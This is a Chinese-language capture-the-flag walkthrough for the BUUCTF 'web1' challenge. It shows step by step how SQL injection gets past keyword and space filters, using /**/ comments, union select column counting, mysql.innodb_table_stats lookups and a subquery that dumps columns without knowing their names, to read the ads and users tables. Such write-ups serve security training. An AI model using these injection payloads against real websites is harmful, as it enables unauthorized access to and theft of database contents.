网址:BUUCTF在线评测
搜索web1
启动靶机
点击链接进入题目
进入题目后发现有登录和注册接口,直接注册登录。
首先通过1'进行测试,查看是否有注入点
出现报错,说明可能存在注入点
然后继续测试发现该服务器过滤了:
or、information、join、and、#、空格
由于or被过滤无法使用order by爆出列数
方法一:可以使用group by进行列数的爆出,空格使用/**/替换
1' /**/group/**/by/**/(1-23),'1 '1在group by中不算一列
从第一列依次往后测试列数,直到当列数为23时,出现报错,报错如下
此时说明该列已经超出该表的列数了,由此得出该表列数为22列
方法二:使用联合查表一次次测试出列数(比方法一较为麻烦)需要将列依次写下去,如:
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'1 '1在联合查询中算一列
当select后面的列数与该表不对会报出以下错误(提示列数不一致):
当测试到与该表有相同列数时(即22列)
由上图可知,该表由22列,且数据爆出在2,3位,所以可以通过在2,3位上使用函数进行对需要的信息进行查询
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
找到数据库名
数据库名知道后,继续通过联合查询找出表名,但过滤了information和and所以可以通过mysql.innodb_table_stats和&&进行替换
-1'/**/union/**/select/**/1,concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'=1'
表名显示不全,可以通过group_concat()函数将表名显示出来
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'/**/&&/**/'1'='1
首先对表ads进行查询,但不知道列名,又因过滤了join所以无法使用重复报错将列名回显出来,但是知道列数,所以不找列名,直接查询
-1'/**/union/**/select /**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/ b,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/union/**/select/**/*/**/from /**/ads)as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1---查2
-1' union select 1,(select group_concat(b) from (select 1,2 ,3 as b,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from ads)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1---查3
在表ads中都没有需要的信息,所以换成users表,但不知道users表的列数,
1'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1 ---通过修改列数(/**/1,2,3/**/),依次去查询users表的列数
测试之后查询到users表位3列,由此继续查询(注意别名)
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/’1‘=’1---查出users的列名,但没有想要的信息
1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22/**/&&/**/‘1’=‘1---查看第三列,最终得到